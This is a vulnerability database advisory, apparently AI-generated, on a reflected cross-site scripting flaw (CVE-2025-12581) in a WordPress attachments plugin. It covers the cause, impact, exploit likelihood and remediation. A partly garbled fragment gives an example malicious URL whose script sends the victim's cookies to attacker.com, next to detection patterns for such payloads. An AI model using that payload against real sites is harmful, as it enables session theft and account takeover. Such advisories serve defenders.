
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12581 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Attachments Handler plugin for WordPress, developed by KaizenCoders. It affects all versions up to and including 1.1.7, stemming from insufficient input sanitization and output escaping of URL parameters. The vulnerability was published on December 20, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's admin_table.class.php file (around line 170), where URL parameters are reflected into the page output without proper sanitization or escaping (WordPress Plugin Trac). An unauthenticated attacker can craft a malicious URL containing arbitrary JavaScript and trick an authenticated user (e.g., an administrator) into clicking it, causing the script to execute in the victim's browser context. No authentication or special privileges are required on the attacker's side, though user interaction is a prerequisite (Wordfence).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session, potentially leading to session cookie theft, credential harvesting, or unauthorized actions performed on behalf of the victim (e.g., privilege escalation if an administrator is targeted). The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself, such as the broader WordPress admin panel. Confidentiality and integrity are both impacted at a low level, while availability is unaffected (Wordfence, ENISA EUVD).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12581 as of the available data. The EPSS score is approximately 0.082%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick a user into clicking a crafted link, which raises the practical barrier slightly despite the low technical complexity (Wordfence).
admin_table.class.php) that is reflected unsanitized into the page output.https://target-site.com/wp-admin/admin.php?page=attachments-handler&[param]=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.wp-admin/admin.php?page=attachments-handler) with URL-encoded payloads such as %3Cscript%3E, javascript:, or onerror= in query strings.Users should update the Attachments Handler plugin to a version beyond 1.1.7 if a patched release is available from the plugin author (KaizenCoders) on the WordPress Plugin Repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block reflected XSS attempts targeting this plugin (Wordfence).
The vulnerability was discovered and reported by Wordfence, which published the initial advisory. Coverage has been picked up by standard vulnerability aggregators including Vulners, CIRCL Vulnerability Lookup, and ENISA's EUVD. No notable independent researcher commentary or significant social media discussion has been identified beyond routine CVE tracking (Wordfence, ENISA EUVD).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."